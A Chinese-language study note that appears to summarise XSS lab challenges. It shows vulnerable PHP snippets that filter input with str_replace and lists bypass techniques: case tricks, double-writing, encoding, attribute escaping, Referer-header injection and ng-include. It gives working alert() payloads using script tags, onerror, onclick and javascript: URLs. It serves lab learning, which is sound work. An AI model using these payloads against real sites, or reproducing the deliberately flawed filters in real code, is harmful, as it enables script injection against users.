1.str_replace字符串替换函数绕过
str_replace()函数对大小写敏感
替换方式1

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
增加标签绕过
对于htmlspecialchars()可以尝试通过单引号'加onclick绕过
通过onclick="alert(xss)"绕过
通过<img src="" onerror="alert(xss)">绕过
通过<a href="javascript:alert(xss)">xss</a>

替换方式2

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
大小写绕过

替换方式3

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
双写绕过

替换方式4

ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
编码绕过

替换方式5

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
html标签绕过

替换方式6

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];//这里str11接收服务器变量的内容
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
闭合标签内的属性值,构造payload进行插入
"type="text" onclick="alert()

2.常用标签插入
替换方式7

span标签
iframe标签
<script src="angular.min.js"></script>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
构造src参数与img标签

替换方式8

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

常被转义的字符

&nbsp; 表示 空格
&amp; 表示  &
&lt;    表示   <
&gt;   表示   >
&quot;   表示 "
&qpos;  表示  '
%0a 表示回车

3.常用注入方式

3.1直接注入或逃逸注入
<script>alert(xss)</script>
逃逸输入或输出值双引号和尖括号标签"><script>alert(xss)</script>

3.2通过标签触发或者逃逸标签触发(img/onfocus/a/onclick/span/iframe/input)
弹窗触发keyword="onfocus=javascript:alert('xss')"
<a href="javascript:alert(xss)">xss</a>
keyword="><a href="javascript:alert(xss)">xss</a>
在a标签内对javascript:alert(1)进行编码
逃逸标签的value的双引号"type="text" onclick="alert('xss')
<img src=1 onerror=alert(1)>

3.3 通过服务器变量接收插入referer/Cookie/User-Agent,通过标签注入,而注入方式与上述差不多

3.4 通过回车绕过